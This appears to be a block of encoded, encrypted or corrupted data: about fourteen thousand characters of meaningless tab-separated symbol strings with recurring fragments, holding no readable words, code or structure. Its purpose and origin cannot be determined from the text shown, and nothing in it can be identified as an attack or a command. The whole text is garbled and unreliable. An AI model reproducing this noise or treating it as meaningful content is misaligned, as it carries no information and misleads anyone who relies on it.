ZUk3JW`	o2]VSV4U_W[dk 35X.U@WR7UN]bQ 6R9Qg	fZaPIWg	i _V3SGJ z_l[`R =RXU3W.RUk]zQe3RdQ5	&ZRA3FWO	@>VV6SG/1F_\[U_ DXU~W8RUR]_Q RQx	%ZM7KWa	AVSE27l_p[SA 5@XUnWRUQ]8Q"1R.QJ	 ZNj#JW`	:kVS3?VW2_4[cl 9RXU7WfRUj][Q$RQA	gZRBHW`	AVSXv U-_@[e4 !R6XeUvW8RU^]KQ RQB	&ZRO6W`	4AV SWnD1n_s[[@ {7XfUTW<RUl]OQRQY	$ZR@#jWW	nguV6SG/1F_\[U_ DXU~W8RUR]_Q RQx	%ZM@_WT	A1V3SWbD0_r[RA A6X9U3W.RUk]zQe3RdQ5	%ZOPIWg	CMV6SDtF_\[U_ DXU~W8RUB]eQ RQx	%ZM@_WT	A1V3SWn`V9_}[Pl R6X?UTW-R7U4]4Q RQl	%ZRO4W`	7kV4STjU_r[RA DXUTW&R2U@]GQ3RfQh	 ZdB?TWU	@g5VSlrV>_5[SB N6XgUbWbRUA]8QRdQI	$ZSAGW`	hc}VSm 330`_s[NP O1XU\WR2UB][Q"RQB	
ZT_BWT	R.kVSD?D U-_s[e4 !R6XeUvW8RU^]KQ RQB	&ZRO6W`	4AV SWnD1n_s[[@ {XfUTW<RUl]OQRQY	$ZR@#jWW	nguVSl2U_W[dA LXU7WfRUj][Q$RQk	$ZRO?IWg	i _V3SFD1n_s[[@ {XUTW<RUl]OQRQY	$Zek@W`	M2uVSl0y13_5[SO 9O1X8UPWR7U@]\QdRQF	ZOQ;GWW	]&VV3ST?VW_j[X_ qX.UnW5RU5]WQc0R=Qt	<ZR_;]WT	4wVSjH0T_V[d_ yXUTW RUh]OQ= RgQB	ZZQrWT	S }VS27E_v[Lj `DXUTW`R	Ul]fQ/RQk	$ZZO?KW[	6&VVSG/1W2_4[Rl =n6XU\WR7UP]CQ R>QJ	eZVl3nWg	o}VSGJV_@[cj %n6XUbWRUQ]zQdRQF	ZeAjW`	MkVSH;w32_l[`P ayXUPWRUl][Q3RdQZ	fZV_WU	@gNVSE;j3_3[Wl 5DXgUbW&RUh]}Q7RQd	&ZVQBW[	6&VVSGb5E`_\[Rl =D1XU3WfRUk][QRdQ5	ZZ@#BWU	@&MVSkSE-_o[dk F6X:UnWR2UA]uQgRQB	fZV_}WM	]:}VSH?40`_@[cj %n6XUbWRUk]8Q7RQZ	!ZVR3hW[	h5VSn8vV>_r[SO 9nXUPW.R Uk]CQaRQR	&ZeAjW[	h}VSm2U_W[dA A6X:UnW`R	Uk]yQ RfQZ	:ZY4BWg	oiVSl0v6m_v[UP RXUrW8R0US]aQ$RQF	!ZVR3hW[	n 5VSn8vF_\[ci DXUPW<R7U|]eQ RQV	aZS}|Wc	Q6V5SXFk=_h[TQ =AXUnWRUQ]8Qc3RgQQ	fZd5#jWa	@&5VSEt33_v[X5 %lX8UPW.RU6]KQ0RQZ	ZRO?hW[	:iV3SV0xE`_s[cj %36XUHW&R2U@]GQ1R.QN	
ZR7HWO	PgMV6SH?OU!_i[T_ 9O6XUHW.RU7]eQd RfQZ	:ZaR?TWU	Bc5VSmWEd_}[WP @XUnWRUQ]8QcRdQE	$ZSAGW`	k>5V6SGfDF_@[dP %lXULWR U4]8Q7RQZ	
ZV_4W`	i 3V3SWfSW=_v[UR z7XUbW.R7UN]LQfRQB	
ZbiBWX	S NVSmf1G_w[WR 5nX?UHW&RUh]aQ1R.QN	
ZTR?TWU	Bc5VSmWE`_p[S@ az1XU3WfRUk][Q7RQZ	
ZV_4W`	o2]VSV5E_v[cB 5O1X9U~W8R	Uh]}Q3RfQZ	 Zd7?TWU	@&MVSn?t6k_i[WP @XUnWRUQ]8Qc6R9Qh	'ZRB?hWg	iMV6SDvF_\[eO lX9U~WR	Uk]uQRQB	&ZK7TW`	A2]VSV5E_p[d@ %3XUbW&R2UN]OQ6R8QB	Zbj#5W`	BuV6SFW1z_G[S@ `DXUTW`R	Uk]yQ RfQZ	:ZaPfjWO	R.NVSm7E_p[dA A6X:UnWfR2UA]<QRQZ	 ZTR|Wc	4 OVSlS7G_w[WR 5nX9UjW R2UB]KQ$RQ5	 ZN6;GWW	]>VVSWb5E_p[cj %3XUTW:RUj]CQg R.QN	ZbB34W`	43VSm#W 2_l[`P `lXU~W-RUA]4Q<1RgQV	)ZVPFWO	@>VVSWb5E_p[dO 9n1X8U\WR	U@]eQ$ RfQR	ZR@3JWW	7ouVSH?r0W=_G[SB 9RXUTW&RUC]GQ3RgQR	 ZY5#BWg	i _V3SFS7G_w[WR 5nX9UjW R2UB]KQ$RQ5	&ZN6;GWW	]>VVSWb5E_v[e@ azX8U\W.RUj]_QRQB	
Zd@#TW`	o2]VSV5E_p[dA A6XUPW&R7UQ]4Q6R?QZ	eZQ5fBWg	M2sVSmbS7G_\[W_ 26X8UPW8RU@]eQg6R9Qh	 ZbB35Wa	@ouVSmo4W_1[d_ zX9UjW R2UB]KQ$RQB	
ZdOjWW	h.OV3SHQ30`_p[O6 =AXUnWRUQ]8QcRQF	&Zbl;hWg	S }V3S2nQ3_Q[dP %nXU\WfR2U@]GQ$RQB	
ZSl4|WL	QuV6SDv1l_s[cj %36XUHW&R2UB][Qb RfQh	ZVPFWO	@>VVSWb5E_v[NQ =AXUnWRUQ]8QcRdQE	$ZSAGW`	k>VVSl0v6m_v[U_ NXU\WRUm]KQRdQ5	%Zbl;hWg	S }V3S2nQ3_Q[eO lX9U~WRUA]9QdRQF	ZeAGW`	k>sVSn;t6k_i[T_ 9n1X>U@W.R7U@]eQ1RgQV	&ZN6;GWW	]>VVSW 4U_W[dA A6XUbW&RUj]jQ/1RgQQ	cZRBHW[	6&VVSGb50_r[RA A6XU~WR U5]}Q$RQt	gZbB;IW[	k2OV3SWnBU_r[RA DXUvWRUB]OQRQ4	gZVjmWf	RWVS20s0C!_7[S_ :q5XUjWdR2UP]iQ3R9Ql	<ZOP/]Wf	h>2VS0c229_j[[P &q0XUjW5R1U|]OQRQh	!ZMR35Wg	o5V6SD;qX_O[cB ={5XeUPWR	Uk]GQ6R?QZ	eZMB?TWU	Bc5VSmW0_r[RA A6XU7WR	Uh]LQ 6R9Qh	ZRO?hWa	Q2]VSV5G=_v[e@ R1XUPW.RUR]aQ"6R?QZ	?ZU_?hWU	C }V3SWbWU!_o[dk F6X:UnWR2UA]uQgRQB	Zbj#hWP	@iVSlV12_l[`P %n6XUbWRU@]eQ"6R?QZ	?ZVR?JWW	2]VSV5E_p[dB :z1XUPWR	Uj]_QRQB	
ZdOjWW	h.kV STD13_l[dP %nXUPW.R7US]_Q"3RfQZ	ZVR?JWW	2]VSV5E_p[dA l6XUTWRU@]eQg6R9Qh	 Zb@HWO	B~V3SXD7H_q[SO 9n5XeUPWR	Uj]_QbRdQ5	)Za_4Wa	4 _VSjHE_p[dA A6X:UnW`R	Uk]=Qb7RQZ	
ZV_4W`	7:3V3Sz?j1n_s[cj %36XUHW&RUA]CQaRQR	&ZeAGW`	k>VV6SG/1G_v[UR zXUPW.R7US]_Q"3RgQV	&ZVPTWU	A5VSm/O1k"_4[R5 %DXU\WfR2U@]GQ$RQZ	 ZTR;TWP	BcuV3SWc2U_W[dA A6X:UnWRUQ]8Q"0RQJ	ZSP3JWU	MoVSjHE_p[dA A6XUjWRUP]KQcRQF	&ZeBGWO	@>VVSWb5G=_3[X7 2y1X9U~W&R	Uk]uQdRQB	
ZbiTW`	o2]VSV5E_v[NQ =AXUnWRUl]OQaRQR	&ZeO5W[	oMVSn?qV_\[dP @XUnWRUl]OQaRQQ	$ZSABWc	6:}V3SWnt32_r[L@ `D1X9U~W R7U4]4QRQB	%ZR@_WO	@sVSn?20U_p[TR 9NXgUvWRUA]zQ.0RQZ	?ZRO?hWg	o}V3SFE32_v[e5 R6XdUTW8RUA]5QbRQZ	$Zd45Wa	A NVSGc2U_W[dB =37XUbW8RU@]eQ$ R.QJ	!ZQ5gWU	M2OV4SD;t6k_i[S@ 5L6XgUPWR U6]\Q/ RQB	 ZNO'hWg	M_V SWoy k!_@[Pi !pX>UTWRUP]CQ-ReQl	%ZQlIWP	@AV4SF1 V9_s[eP @XUnWRUk]yQb1RgQV	%Zbl4|WW	hc@VSj;132_3[cB =R6XdUTW8RUR]OQ RQl	9Zek@WO	@>VV6SG$y 3_3[LO lXUjW8R U4]GQ'6R?QZ	Zd6?hWM	PgnVSm/Q30`_@[cl =lXUPWR U7]eQ RfQh	ZR@3JW`	5NVSl2U_W[dA LXUDWfR2UB]KQ$0RQZ	gZd5fBW`	niVSmnS7E!_l[`_ D1X UDWfR2UB]KQ$RQk	$ZOP_W`	4 kV ST?D3z_l[L@ %n7XUDW&RUm]_QRQl	ZR@$|W[	ouVSnv30`_@[cl =lXUPWR U7]eQ RfQh	ZVPFWO	@>VVSW/W33_s[T_ 9OXUPWR2UA]GQb1RfQR	gZeQ3lW[	7_V6SG413_O[RP YX?UTWRUA]9Qg RQB	&ZRA3FWO	@>VVSWb57E!_\[WR 5lX:UjW.R	UN]eQbRfQJ	9ZZA3jW[	k:}V3SU;KV_s[S@ YXUTWRUA]9Qg RQl	9Zek@W`	k>VVSl0v6m2_}[c@ `D1XUbW RUk]uQ7RQI	+ZVl34WQ	P:kVSGnDV_s[NP Y7X UbWRUP]KQcRQF	&Zbl;hW`	@ouV6SH213_r[OP 90XU?W&R	Uh]LQf7RQE	$ZR@TW`	5iVSmnRU_r[RA A6X:UnW`R U7]eQ RfQh	:Ze_nWg	M:_VSmj6m_0[L_ hXUTWRUk]4QRQk	$ZRB_W[	6&VVSGb5E`_\[LO lXU~W RUh]eQd0RQZ	 ZR40|WO	S OVSGv30_C[[B L6X.UjW8RUQ]5QdRQF	ZeAGW`	hcMVSm/Q32=_r[e4 37XUPW;R7U6]aQ3RfQh	eZVl35WU	@g3VSTD0`_s[Pj @XUnWRUQ]zQbRQA	gZVjhW[	h:uVSFW30_r[RA A6XUbW&RUj]jQ/1RgQQ	cZRB?TWP	BcMVSm/Q32=_r[e4 37XUPW;R7U6]fQf3RfQh	$Zd40}WO	@~VSmnRU-_@[Pl 9L6X.UnW:RUA]4Qd7R?Q5	&ZRBTW`	43VS1?W 2=_l[d_ h1XUjWR
Uk]CQ< RfQg	fZa_0}WO	@iV SUD U%_}[WP OX?UTWRU@]jQ 6R9Qg	+Zb@fBWg	M2sVSm/I7D_}[cj `D6X9UTWRUk]5QcReQB	%ZUi'4W`	nCV5SzHE_p[dA LXU3WR	Uk]uQ3RfQh	$Zd45Wa	A hV3S0;S z_l[e4 0XUjW8RUS]DQcRQl	+ZUl?JWW	>kVSEtW_v[U5 %l7XUbW.R7UN]LQf3RQd	ZT4jWL	QMVSmO7D_r[S@ 5YX?UTWbRUk]8QReQB	%ZU_?IWU	C OV6SG412_1[dQ 5jXfUTW.RUk]GQ R.QI	bZbi6WQ	P:kV STsV9_}[WP @XUnWRUl]OQaRQQ	$ZSAjWc	OV3SH8v6m2_0[`P n7XU3W&R0UQ]yQ RfQZ	ZU_?hWU	M:MVSnkV_\[`P `lXU~W-RUA]4Q"RQZ	 ZT5#JW`	:kV SWnWU!_o[dk F6X:UnW`R	Ul][Qb RfQh	ZR@3JWW	5gMVS3?E13_l[Pl 5n7XUvW&RUm]_Q< R:QB	ZZOTW`	7~V3S3kV_\[`P `lXU~WRUA]CQaRQQ	$ZSAGW`	hcuVS1?W 2=_P[S@ 5LXfU3W&R2UN]}Q3RdQZ	ZU_?IWU	C5VSkQ2_l[`_ DXUbWR	Ul]aQR9QZ	 ZT5#JWP	BcMVSm/Q30`_p[WP @XUnWRUQ]8Q"6R9QZ	:ZN@#IWU	C OV6SF50`_s[[B OXUTW8RUB]_Q7RQZ	
ZMOjWO	R.hVSW#KV_5[SO 9nXUDWfR2UB]KQ$3RQ1	ZSQ;GWW	]>VVSWb5Ea_5[SO 6{X>UTW`R7U4]4Q'RQB	
Zbl;hW`	@ouVSmv k`_s[`P RXU3WR	Uk]uQ3RfQJ	9ZMRGWO	@>VVSWb5E_p[`P RXUHWRUN]CQ1R:QV	%Zbj#IWU	C OV6SGI W"_r[SO 26XfU3W&R U7]eQ RfQh	:ZR7}WO	M&VVSGb5E_p[dO 26XfUTWR U6]_Q<RQA	cZRO?hWU	A5V6SDr3Ed_Q[RP RXUTW`R	Uj]jQ 6R9Qg	+Zb@?KWa	@:oVSjHE_v[cB =37XUHWRUN]CQ"6R9QZ	:ZN@#IWU	C OV6SFD0`_s[e_ 906XfUjW8RU@]eQ3RdQZ	fZbl;hW`	@ouVSmnqV_[eP 07XeUPW<RUl]OQRQF	&Zbj#nWX	]>iVSmn0 k!_@[LR tX>UTWbR	Uh]eQ-ReQl	%ZTRIWP	@1VSG2U_W[dA LXUTW.RUA]8Q'RdQ5	%ZdRIWP	C1V4SF1 V9_s[eP @XUnWRUQ]8Q"3RfQR	?ZeONWO	@kV5SF1 V9_Q[b6 5Y6XdULW8R Uk]CQaRQR	&ZeO?hWc	62VVSj4V_1[b6 5Y6X.UTWR U6]_Q RQB	?ZN6;GWW	]>VVSl?110_p[`P 5L6XfU3WfR	Uk]DQg3RdQt	
ZVR3jWT	A2]VSV7E_p[dO 9OX9UjW RUR]aQ=3RfQg	cZR@3JWW	5gMVS3?k322_5[T_ 9nXUjWR	Uh]KQRQI	$ZSAGW`	hcsVS3?JV>_r[S@ ay1XUvWRUQ][Q7RQZ	
ZeR;hWa	S oVSjHE_p[ck 53XUjWR	Uh]KQRdQ5	ZZA35Wg	iOVSl230_3[UR 9RXU3W RUj]eQbRQx	9Zek@W`	k>3VSn'E 2_l[`P YXUTW.RU7]eQd RfQZ	:ZaR?TWU	AuVSnv0U`_p[O6 =AXUnWRUj]jQe3RfQZ	$ZM@fJW`	:kVS38y0W_3[LO 21XU7WR2UN]eQRQt	?ZU_?IWT	RcsVSl?41l_s[Pi RXdU7WR U5]eQ=3RfQg	cZU_?IWT	RcsVSl?4E`_s[U5 YXUPW-RUA]4QdRQx	9Zek@W`	k>3VSm#2V_5[NP OXgUjW RUk]CQ7RQF	'ZZOTW`	7csVS3?JE-_o[dk F6X:UnW`R	Uk]yQdRQA	cZOPIWW	6:sVSmS7D_q[[O R6XfU3W RUR]aQ=3RfQg	cZVPFWO	@>VVSWbt32_i[SO HXUTW.R	Uh]OQ6R:Qd	ZZ@4Wa	7kVSF0y 3_3[P7 5nX9UjWRUA]CQaRQR	&ZeO?hWc	62kVSD4U!_Q[dP azXeU@W`RU4]<Q<1R8QB	ZTR;IWg	BuV6SDS7G_4[dR 5lXUPWRUA]CQaRQR	&ZeO?hWc	62kVSD4U!_Q[dP azXeU@W`RU4]<Q<1R8QB	%ZQl?HW[	6&VVSGb57G_w[e5 RXUjW8RU@]eQ'0RQg	+Zb@FWO	@>VVSWbt32_i[SO HXUTW`R U7][Q"0RQZ	
ZePFWO	@>VVSWbt32_i[SO HXUTW.R	Uh]OQ6R:Qd	ZZ@4Wa	7kVSF?J13_C[WP @XUnWRUQ]8Q"3RfQR	?ZRONWO	@}VSnJ6n1_@[[@ 27XfUHW8RU@]eQ R>QJ	 ZbB34W`	o2]VSV5E`_\[eO 26XfUjW:RUj]CQ0RQh	eZal?TWQ	R>3V3S0D7E!_l[`P a{XUHW&R2UB]_QRQI	$ZSA;GWW	]>VVSl0v6m_v[UP RXUrW8R	Uj]eQbRQZ	$ZTP#jWg	n2@VSmo4V_\[eO HXgUvWRUA]8Qc7RQY	bZbB<}WM	SuV3SG#O30_G[S@ 5LXdU7WR U5]eQ=3RfQg	cZU_jWO	POVSj;t30`_@[[O 90X?UTW`R U7]eQ6R?QZ	ZT535WU	M:MVSnO32=_C[WR 9NXgUvWRUB]OQRQF	&Zbjg|WU	M2uV6SED0`_s[eR OXU@WR0U@]DQg7R9QZ	gZc63_W`	4@VS0B X_i[O6 =AXUnWRUj]eQ3RdQt	gZb@f6W`	7:iVSmn0 k!_@[Pl tX>UTWRUQ]4QfRQI	$ZSAGW`	hcsVSl?232=_C[SO HXUTW8R1U@]DQg RQx	
Zc63_W`	5kVSm7E_p[dO 9n1X9U3W.R7UA]GQRQA	cZOPTWg	M_V SWnB k!_@[Pl RX UbWRUP]KQcRQ5	
ZSj#IWg	B.sV3S2nq0`_s[eR OXULW<R0U@]DQg RQl	%ZdPFWO	@>VVSWbt0T_\[e5 %lXUTW-R Ul]OQ7RQZ	fZbA3hWU	A5V6SDrU_r[RA A6X9U3W RUj]eQd3RfQh	ZRONWO	@}VSnJ6n1_@[[@ 27XfUHW8RU@]eQ1RgQR	ZVPFWO	@>VVSWbt0T_\[e5 %lXUTW-R Ul]OQ1RfQZ	$ZSi6WP	BnV3SXkV_\[Rl zX9U~WR7UQ]9QdRQF	ZeAJWU	@&uVS3?r0X1_s[`P 5LXdULW R2UN]}Q&RQB	ZaO?6WS	n3VS2q0T_0[X5 %lXUPW<RUl]OQRQF	&Zbjg|WU	M2uV6SED1k:_r[SO n7XUvWfR7U6]_Q<RQV	)ZY5IWg	o}V3SFr 3_@[cl 537XU?W&RUk]8QRQx	9Zek@W`	k>3VSn't13_l[Rj RXUjW8R U7]CQb0R QJ	9ZU_0W`	R~VSGnBV_p[O6 =AXUnWRUj]eQ3RdQt	gZb@f6W`	7:iVSlB0W=_3[`l 9RX ULW`R7U6]GQ RQB	%ZVPFWO	@>VVSWbt0T_\[e5 %lXUTW-R Ul]OQ1RfQZ	$ZSi6WP	BMV3SXkV9_s[SB 9NXgUvWRUA]8Qc7RQZ	eZbi5W[	n&kVSD4U!_Q[dP azXeU@W`RU4]<Q<1R8QB	%ZQjTW`	o2]VSV5E`_\[Rj %O1XU~W R7U4]4Q'RdQ5	ZQjfjWg	h&NVSE;n7H1_F[SB MXUTWRUA]CQaRQR	&ZeO?hWg	hc}V3SGJV_5[NP OXgUjW RUk]CQ7RQF	'ZZOTW`	7cMVSn;W131_s[U5 52XeU\WR	Uj]eQ R.QJ	!ZdO|W[	okVSGc2U_W[dA LXUDWfR	Uk]uQRQA	$ZK5hWM	RuV4SD;V33_w[UP %DXUTW:RUk]4Q" RgQR	:ZM7|WM	]uVSH'rV9_o[dk F6X:UnW`R	Uh]}Q"1RgQR	:ZSjTWL	A:kVSF?q0W2_}[c@ @XUnWRUP]KQcRQ5	
ZMOhW`	@gkVSDsW_3[LO 3X?UHW&R	Uk]uQd3RQE	$ZR@3JW`	7csVSl?232=_C[O6 =AXUnWRUR]OQRQF	Ze@#nW[	h:sVS1?W z_5[S@ %36XUHW&RUm]_QRQt	9Zek@W`	k>3VSl?4W_}[S@ R6XdUTW:RUj]CQ RdQZ	ZY74|WU	B.NVSHj1l_s[cl =n1XUPW.R7U4]4QRgQV	ZbjfBWU	M:}VSmJE-_o[dk F6X:UnW`R	Uh]bQ 1RgQR	 ZbiBWX	PiVSlW 0_Q[X7 2zXU~WRUN]CQ<1R8QB	%Zbl;hWg	S }V3S2nQ3_Q[Rl =O1XUHWRUj]eQ1RgQV	&ZN6;GWW	]>VVSn?rU!_l[e7 526XfU3W&R	Uh]LQ 0RQ5	%ZaPTWU	@&MVS3?k32_v[e5 RXUTW`R U7]eQ6R?QZ	ZROHWL	@uV6SD;1 j_3[LO 3X?UHW&R	Uk]uQdRQA	cZROhWa	@&5V3S0jX_[X5 O1X8UPWR7UA]GQ 3RgQV	Zbl;hWg	S }V3S2nQ3_Q[Rl =O1XUHWRUj]eQ1RgQV	&ZVPTWL	@}VSnJ6n1_@[[B =27XfUHW8R U5]}QRgQR	:ZVj#4WP	BcMVSn;W131_s[U5 52XdUvWR U5]eQ= R>QJ	
ZV_4W`	i kVSD512_r[Ri 0XUTW=R7U^]CQ=RQt	eZMO5WW	h.OV3SUt0T_\[e7 5nXUPW.R7UQ]8QRQA	cZROhWa	@&5V3S0jn_[X5 O1X>UDW.R7U@]GQ$ RgQV	Zbj#hWa	AsVSmbWV_5[S@ pX>UTWRUP]CQ-ReQl	%ZQjNW[	6&VVSG 4U_S[NQ =AXUvWR7UR]eQ RQF	<Zbi<wWV	o2PVS3h2_7[dj !s5XU\W!RUl]OQ3RfQR	:ZaPgWU	C OVSjD1z_r[X5 %OX?U?W.R U7]eQb0RQR	 ZbB?TWU	AsV6SH?k30`_F[SO 9n5XdULW:RUA]4QRQt	9Zek@W`	hcMVSn0 2_l[cl =lXULW8RUR]OQRQ5	
ZTl }W`	5nV4SXPH_P[SB dV6XUTWR
Uh]aQcRQF	
ZT@TWU	AsV6SH?k30-_U[b7 52X UbWRUP]KQc7RQt	
ZePf5WW	h.uVS2Q11_s[`P 5L6XgUPWRU^]eQ RQJ	
Zc@rWU	CEV5SlvV_\[L@ `l1XUHW&RUk]4Q R9QY	cZdPFWO	@>]VSV57G_w[W_ h1X>UDW&R7UA]uQ$ RfQZ	ZORHW[	6&VVSDHE`_\[eO lX9UHW&R U6][QRdQ5	ZUl?TWg	@.HV4ST;FX_w[dA 9VX:U@WR7U7]CQ:RQ4	fZejTWU	AsV6SH?k30`_i[WP @XUnWRUm]aQ6R9Qh	 Zb@TWP	BcuV3SG/r 2_G[S@ 5LXdU?WRUh]}Q RgQA	fZd@#BWU	@&5V4SD;412_1[dQ 5LXU3W&R7UA]uQ$ RfQZ	
ZTR?JW`	n_VSjHE_v[WP %26XeU@W8RUj]eQg6R?QZ	gZTR;hWc	4 uV6SFtE`_Q[O6 =AXUnWRUQ]8Q"RQZ	$ZdR3hW[	hcMV6SDBV_5[NP RXUHWR	Ul]_QfRQI	$ZSAGW`	A:kVSmk1z_P[SA 5@XUnWRUQ]8Qc7RQZ	!ZV_nWg	ouV3SG/r 2_G[NR YXgUvWRUA]8QcRdQE	$ZSAGW`	hcMVSn0 2_l[cl =lXULW8RUB]\QbRQB	?ZR@TW`	7cuV3SG/r 2_\[S6 936XU~WR	Uj]eQRQB	
ZdOjW[	huV4SEnT0_Q[cB LX UbWRUP]KQcRQh	 Zd@TWP	M:uV6SDBU!_p[T_ 9n5XeUPW&R2U@]GQ"3RQd	gZcP#jWc	6:MV6SFvW"_r[WR 9LX.UbWRUP]KQcRQF	&Zbl;hWa	M OVSmtW2_}[Pj RXUjW8RUA][QRQF	:ZZllW[	n nVSGnj7G_w[WP %lX9U3W;RU@]eQ$3RgQR	$ZMR3IWU	@:3V3S22U_W[dA DXUvWRUA]8Qc6R9Qh	'ZRB?TWU	M5V6SGk33_o[[B )hX9UHWRUC]aQRQB	+ZOPTWg	B"^VSk0E`_Q[O6 =AXUnWRUQ]8Q"RQZ	$ZdR3hW[	hcMV6SDBV_5[NP RXUTWR1Ul]aQRQE	bZYl/}WS	k oVSjHE_v[NQ =AXUnWR2UA]uQgRQB	Zbj#5W`	B.OVSl?I7D_l[OB =O1XUjW`RUR]OQRQw	$ZR@4WX	S kVS27E_p[dA LXUDW R2UN]eQ=3RfQh	
ZMR3BW`	5~VSjDX_s[cj %36XU~WR	Uj]eQRQZ	fZMO5Wa	@:kVSm7E_p[dB AXUnWRUl]OQaRQR	 ZdO4WP	BcuV3SG/r 2_\[UR 9NXgUvWRUB]OQRQ5	
Zaj#BW`	@gkV STD10`_@[eQ  t1XUbW=R7U7]CQ.RQJ	 ZT@}Wc	5cJVSDD7E!_\[dP `3X9U~W8R7UQ]9QdRQF	ZeB<|Wg	S OVSlDF_\[`j %D6X?UTW:RUj]CQRdQZ	eZUl3rWM	]uVSl?J6n_0[d_ h1XUjWRUm]_Q"6R>QJ	:ZN_6W`	i kVS27E_p[dO 9n XfUjW R2UB]KQ$RdQ5	
Zaj#BW`	@23VSEnr2_0[`P `lXU~W`RUR]LQdRQF	ZeAjW`	MkVSEt6j_4[dR 5lXUTW8RUB]OQRQx	ZTlbPWO	SRV5SGb0V_q[e@ RXUvW&RUk]uQ7RQA	bZVl3vWM	QOV3SG/RW=_P[[B L6X.UjW:RUk]4QRQ5	ZN6;GWW	]>VVSWbt6j_4[dR 5lXUjW8R1UA]GQ?R9QJ	$ZYk?BWS	hc5VSj4 2=_P[eP @XUnWRUQ]zQbRQF	ZeAjW`	MNVSHW1z_0[d_ h1XUjWRUm]_Q"6R9Qg	bZbj#BWg	P23VSknq0W2_}[cB L6X8UPW8R U4]CQaRQR	&ZeAJWU	C OV3SF?r3_o[ci zXUjWR2UA]GQRQk	$ZR@fBWg	M2sVSmbSE-_o[dk F6X:UnWRUR]OQRQF	&ZbijWL	RcuVSn;I7G_U[`P `lXU~WR
Um]4QRQk	$ZRO?hWV	7._VSmjT_0[X7 =lXUjWRUl][Qb RfQh	ZZBHW[	6&VVSG 4U_W[d@ %hXU@W`R	Um]4Q$RdQZ	ZVPFWO	@>]VSV5T_0[WR 5nXU@WR	Uk]uQRQB	Zbi|WL	]:OV6SFkV_\[Rl 2zX>U@WR2UB][QRQ5	%ZOP}WW	7.sV6SH'SF_\[WR 53XU~WRUA]8QRQt	9Zek@W`	k>3VS1?40X_V[c@ %OX?U?W.RUA]4Q'RdQ5	%Zd_rWW	h:kVSm7E_p[dO 9n1X8U\WR	Ul][Qb RfQh	:ZTP3jW`	@o}VSlV32_P[T_ 9n1X8U\WR U4]GQ RfQR	ZY54WS	k NVSG7E_r[RA A6XUPW&R7UQ]4Q7RQZ	ZaPfjWO	R.kV ST4V_1[PQ v6XUvWR
Uh]eQ%RQV	&ZRA3FWO	@>VVSWb57E!_\[dP `3X9U~W&R U4]GQ1ReQB	%ZaP3JW`	6 kVSGnDH_1[dB )V7XU3W;RUj]CQ.RQJ	&ZRB?TWU	@&OVSlq0W2_}[cO 06X:UPW<RUl]OQRQF	 ZOPhW[	h}VSlD0_r[RA A6X:UnWfR2UA]<QRQt	eZMPfnWg	o}V3SUt6j_4[dR 5lXUHWRUC]DQ.RQ5	%ZOP3JW`	6 nVSD5G_l[b@ 26X?UTWRUl]OQRQF	&ZeAJWU	B&OV3SHQ30"_}[UR =l1XU7WR U4][Q7RQZ	ZaPfjWO	R.~V SXWU_r[RA A6X:UnWRUR]OQRQF	&ZeO?IWU	M:sV3SFr30!_l[U4 R6XfUjW:RUk]4QfRQB	%ZRBcrW[	h"kVSF?p 3_r[U5 %L6XeU@W`R	Uh]}Q  RfQY	bZeR3jW[	ngNVSm2U_W[dA DXUvWRUA]zQbRQF	Zek@W`	hcMVSn0 2_l[cl =lXULW8RUB]\QbRQB	gZc734W`	o2@VSj{ 3_i[O6 =AXUnWfR2UA]<QRQB	
ZdOTW`	n_VSjHE_v[eB :y1XUPWR	Uj]_Q7RQZ	!ZQiTWU	AsV6SH?k32=_\[LR 5D6XeUPW<RUl]OQRQY	$ZR@#jWW	nguVSl2U_W[dA lX?UvWfR	Ul]eQ7RQt	
ZePf5WW	h.uVS2Q119_o[dk F6XUjWRUP]KQaRQR	&Zbi5WM	Q}V3S2o4U!_}[TP p1X:UDWR0UQ]GQR8QB	%ZWj}Wc	5cJVSDD7E!_\[dP `3X9U~W8R7UQ]9QdRQF	ZeO?hWL	QOV6SG#W32=_V[ci 06X.UjW8R	Ul]HQf1R.QN	$ZY7|WL	QOVSj;16m=_l[X5 %OXU@W`R U5]eQ R QN	ZVPFWO	@>VVSk;S6m=_V[c@ RXU3W.R7UB]fQ-RQk	$ZRB3BW`	@g}V6SFE33_l[L@ az1XUHW RUh]eQd0RQZ	&ZU_?IWg	CMVS0WE`_Q[O6 =AXUnWRUj]jQ 0RQh	gZY5#jWU	AOVSmnD0`_s[eR dVXU~WR
Uh]eQRQF	 ZYP}WM	@3VS1?40X_V[c@ t5XeUHWR0UA]GQ RQd	ZdPFWO	@>]VSV5E`_\[eO lX9UHW&R	Uh]}Q RQg	bZM@#BWX	Q:~VSH2U_W[dA LXUTWfRUh]eQRQZ	!ZVP#jWW	hciVSH2U_W[dA DXU@WfR2U@]GQ$RQB	Zal?6WU	M5V6SGk32_3[Wl =lX UDW&RUk]XQc7RQY	bZMR3jWc	4 uV6SFt131_p[SA 5@XUnWRUQ]8Qc6R9Qh	'ZRB?TWa	RcuV3SG/21z_\[eO lX9UHW&RUA]8QRdQI	$ZSAGW`	k>VVSl0v0W=_1[X5 %lXU@WRUk]4Q'RdQ5	?ZY5TWX	Q2]VSV5E_v[NP nX9UHW.RUj]_QRdQI	$ZSAGW`	k>VVSl?16k_1[UR =n5XeUPW&R2U@]GQ"RdQx	%ZN6;GWW	]>VVSW 4U_W[dk F6X:UnWR2UA]uQgRQB	Ze_BWg	nguVSkS7E!_1[Wl :{XfU3W&R7UA]uQ$ RfQZ	
ZSl4W[	h:MVSm2 k`_p[WP OXgUvWRUA]8QcRQF	&Zbl;hWa	M OVSmtW2_}[Pj RXUjW8RUN]eQ?R8QR	 ZRPNW[	6&VVSGb5E_r[S@ %lX?U7W&RUj]@QdRQF	ZeAGW`	k>3VS1?40X_V[c@ %OX?U?W.RUA]4Q'RdQ5	%Zd_?6WX	R:OVSm/O12=_V[P5 %D1X?UvW RUj]CQ$ R>QN	eZMO5W`	B:uV3S0t13_0[L5 90XUTWfR2UA]GQ=3RfQZ	eZVl;jWL	QuVSn?KEa_5[e_ 90X UbWRUP]KQcRQF	 ZOQ;GWW	]>VVSj7E_r[RA A6X9U3WR	Uh]OQf RfQZ	:Zbl;jWO	PkVSD4V_i[WP {X9UjW8R Uk]CQaRQQ	$ZSAGW`	C uV3SWnS7G_w[Pl 9LX.UbWRUP]KQcRQF	 ZdB<Wg	C MVSlS7G_w[Pi RXUDW R2UN]eQ=3RfQh	
ZMR3BW`	4 oVSjHE_v[NP nX9UHW.RUj]_QRdQI	$ZSAGW`	k>uV6SH'S 31_s[cl =n7XUPWR	Uk]GQ"RQg	+ZQjFWO	@>VVSW 4U_W[dB AXUnWR2UA]yQdRQB	
